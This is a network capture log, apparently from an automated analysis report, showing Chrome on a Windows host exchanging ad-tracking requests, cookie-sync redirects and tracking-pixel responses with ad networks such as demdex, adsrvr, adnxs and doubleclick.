2024-12-10 14:10:48 UTC	846	OUT	GET /id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=46795620289561025213399055950533803505&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MC1%01e984274b42544a629c3b1a12c2a86892%012&ts=1733839844796 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637
2024-12-10 14:10:49 UTC	713	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:48 GMT Content-Type: application/json;charset=utf-8 Content-Length: 6649 Connection: close X-TID: hdoLBbvxQ+U= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" DCS: dcs-prod-irl1-2-v069-00f9e585a.edge-irl1.demdex.com 4 ms set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:48 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:49 UTC	6649	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 34 36 37 39 35 36 32 30 32 38 39 35 36 31 30 32 35 32 31 33 33 39 39 30 35 35 39 35 30 35 33 33 38 30 33 35 30 35 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 36 47 31 79 6e 59 63 4c 50 75 69 51 78 59 5a 72 73 7a 5f 70 6b 71 66 4c 47 39 79 4d 58 42 70 62 32 7a 58 35 64 76 4a 64 59 51 4a 7a 50 58 49 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 34 31 31 22 2c 22 74 74 6c 22 3a 31 30 30 38 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 31 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 31 2c 22 75 72 6c 22 3a 5b 22 2f 2f 63 6d 2e 65 76 65 72 Data Ascii: {"d_mid":"46795620289561025213399055950533803505","id_sync_ttl":604800,"d_blob":"6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"411","ttl":10080,"tag":"img","fireURLSync":1,"syncOnPage":1,"url":["//cm.ever

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50035	3.33.220.150	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:48 UTC	661	OUT	GET /track/cmf/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:48 UTC	521	IN	HTTP/1.1 302 Found Date: Tue, 10 Dec 2024 14:10:48 GMT Content-Length: 251 Connection: close server: Kestrel location: https://match.adsrvr.org/track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 set-cookie: TDID=ca5091e5-7f27-487b-9b72-5046f54d8363; expires=Wed, 10 Dec 2025 14:10:48 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSgCMgsI5LPH2uXLzD0QBTgB; expires=Wed, 10 Dec 2025 14:10:48 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-12-10 14:10:48 UTC	251	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 61 61 6d 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 64 6f 6d 61 69 6e 3d 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 26 74 74 64 5f 74 70 69 3d 31 22 3e 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 61 61 6d 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 64 6f 6d 61 69 6e 3d 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 26 74 74 64 5f 74 70 69 3d 31 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://match.adsrvr.org/track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1">https://match.adsrvr.org/track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50037	91.228.74.200	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:49 UTC	634	OUT	GET /pixel/p-vj4AYjBqd6VJ2.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1 Host: cms.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:49 UTC	513	IN	HTTP/1.1 302 Found Date: Tue, 10 Dec 2024 14:10:49 GMT Content-Length: 0 Connection: close Cache-Control: private, no-store, proxy-revalidate Location: https://dpm.demdex.net/ibs:dpid=1175&gdpr=0&dpuuid=VOZ2RlazJkdP4ndHAeFuTAbpJ0ZPt3BIW7VwEFtZ Set-Cookie: mc=67584be9-349c0-2d8d8-f369d; Path=/; Domain=quantserve.com; Max-Age=34214400; Secure; SameSite=None Set-Cookie: sp=CgkIjd0BEgMQjA4=; Path=/; Domain=quantserve.com; Max-Age=7776000; Secure; SameSite=None Strict-Transport-Security: max-age=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50042	35.244.154.8	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:49 UTC	760	OUT	GET /1000.gif?memo=CKyqFhIxCi0IARCYEhomNDYzNTY0MDMyMTMwODc3MTk1ODM0MjcyMDYyNjMzOTIyNjEzNzQQABoNCOiX4boGEgUI6AcQAEIASgA HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: rlas3=57Q4X5tKGX/rTnRO+Zau1605eTDUKia/WnHZLKpHdeI=; pxrc=CAA=
2024-12-10 14:10:50 UTC	745	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://dpm.demdex.net/ibs:dpid=477&dpuuid=574b3b3dd79bfe4155f53e8c3fde5931acb47dc644aa7745042768bea89108d7b0da87c991749652 P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=zlHWU7kqHtHrTnRO+Zau1605eTDUKia/WnHZLKpHdeI=; Path=/; Domain=rlcdn.com; Expires=Wed, 10 Dec 2025 14:10:50 GMT; Secure; SameSite=None Set-Cookie: pxrc=COqX4boGEgUI6AcQABIGCPHrARAA; Path=/; Domain=rlcdn.com; Expires=Sat, 08 Feb 2025 14:10:50 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Tue, 10 Dec 2024 14:10:50 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50041	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:50 UTC	860	OUT	GET /ibs:dpid=411&dpuuid=Z1hL5gAAAMiWjgOJ HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753; dpm=46356403213087719583427206263392261374
2024-12-10 14:10:50 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:50 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: KGWvA0McTgQ= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-01d9e974d.edge-irl1.demdex.com 5 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:50 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:50 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:50 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50048	104.244.42.67	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:50 UTC	470	OUT	GET /i/adsct?p_user_id=46356403213087719583427206263392261374&p_id=38594 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_MSoHOj68G11kmb5OzRmNlA=="
2024-12-10 14:10:50 UTC	401	IN	HTTP/1.1 200 OK date: Tue, 10 Dec 2024 14:10:49 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: ceaf9a3367324610 strict-transport-security: max-age=631138519 x-response-time: 78 x-connection-hash: 1574e4e099c284eb95d6ccd2e332be4cbee4cdbd516806310ae0b913fe2f9249 connection: close
2024-12-10 14:10:50 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50043	37.252.171.149	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:50 UTC	861	OUT	GET /bounce?%2Fgetuid%3Fhttps%253A%252F%252Fdpm.demdex.net%252Fibs%253Adpid%253D358%2526dpuuid%253D%2524UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=jCJvPTTfpni5NPC1PhDUL-ybYzWXeoUE32XRKIyOtKxoAMYLfqWe8xBepN0Sk2OMRuZtfGZvwxmg9FgOVQSt-sTwhHtD74XBbvp-CrVsdDU.; receive-cookie-deprecation=1; uuid2=6105356000114051776
2024-12-10 14:10:50 UTC	1427	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Tue, 10 Dec 2024 14:10:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://dpm.demdex.net/ibs:dpid=358&dpuuid=6105356000114051776 AN-X-Request-Uuid: 28498616-f3e6-4eb2-a3ee-d8ac37566540 Set-Cookie: XANDR_PANID=jCJvPTTfpni5NPC1PhDUL-ybYzWXeoUE32XRKIyOtKxoAMYLfqWe8xBepN0Sk2OMRuZtfGZvwxmg9FgOVQSt-sTwhHtD74XBbvp-CrVsdDU.; SameSite=None; Path=/; Max-Age=7776000; Expires=Mon, 10-Mar-2025 14:10:50 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Tue, 28-Nov-2034 14:10:50 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6105356000114051776; SameSite=None; Path=/; Max-Age=7776000; Expires=Mon, 10-Mar-2025 14:10:50 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 984.bm-nginx-loadbalancer.mgmt.fra1.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50052	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:50 UTC	1161	OUT	GET /ibs:dpid=992&dpuuid=12jw1hmayu6up HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535
2024-12-10 14:10:50 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:50 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 4A2XVT1aRHE= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-0aad3d335.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:50 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:50 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:50 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50044	3.33.220.150	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:50 UTC	748	OUT	GET /track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=ca5091e5-7f27-487b-9b72-5046f54d8363; TDCPM=CAEYBSgCMgsI5LPH2uXLzD0QBTgB
2024-12-10 14:10:50 UTC	522	IN	HTTP/1.1 302 Found Date: Tue, 10 Dec 2024 14:10:50 GMT Content-Length: 189 Connection: close server: Kestrel location: https://dpm.demdex.net/ibs:dpid=903&dpuuid=ca5091e5-7f27-487b-9b72-5046f54d8363 set-cookie: TDID=ca5091e5-7f27-487b-9b72-5046f54d8363; expires=Wed, 10 Dec 2025 14:10:50 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsIpuOsv8_LzD0QBRgFIAEoAjILCOSzx9rly8w9EAU4AQ..; expires=Wed, 10 Dec 2025 14:10:50 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-12-10 14:10:50 UTC	189	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 70 6d 2e 64 65 6d 64 65 78 2e 6e 65 74 2f 69 62 73 3a 64 70 69 64 3d 39 30 33 26 64 70 75 75 69 64 3d 63 61 35 30 39 31 65 35 2d 37 66 32 37 2d 34 38 37 62 2d 39 62 37 32 2d 35 30 34 36 66 35 34 64 38 33 36 33 22 3e 68 74 74 70 73 3a 2f 2f 64 70 6d 2e 64 65 6d 64 65 78 2e 6e 65 74 2f 69 62 73 3a 64 70 69 64 3d 39 30 33 26 64 70 75 75 69 64 3d 63 61 35 30 39 31 65 35 2d 37 66 32 37 2d 34 38 37 62 2d 39 62 37 32 2d 35 30 34 36 66 35 34 64 38 33 36 33 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://dpm.demdex.net/ibs:dpid=903&dpuuid=ca5091e5-7f27-487b-9b72-5046f54d8363">https://dpm.demdex.net/ibs:dpid=903&dpuuid=ca5091e5-7f27-487b-9b72-5046f54d8363</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50055	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:50 UTC	1288	OUT	GET /ibs:dpid=1175&gdpr=0&dpuuid=VOZ2RlazJkdP4ndHAeFuTAbpJ0ZPt3BIW7VwEFtZ HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975
2024-12-10 14:10:51 UTC	897	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:51 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 98Oy/QHkQfc= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcscanary-prod-irl1-1-v084-095ae8c66.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:51 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:51 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:51 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50053	172.217.17.66	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:50 UTC	849	OUT	GET /pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&gdpr_consent=&google_hm=NDYzNTY0MDMyMTMwODc3MTk1ODM0MjcyMDYyNjMzOTIyNjEzNzQ=&google_tc= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-12-10 14:10:51 UTC	996	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://dpm.demdex.net/ibs:dpid=771&dpuuid=CAESEHqxViKpfdO9DTGNk1AxFpE&google_cver=1?gdpr=0&gdpr_consent= Date: Tue, 10 Dec 2024 14:10:51 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 314 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUmQ_f_CjFj0b1W5zdLfeUU4tsgnQqTkAloPZ2LWEBJBszA-nP0k9RGGFf3qhKo; expires=Thu, 10-Dec-2026 14:10:51 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
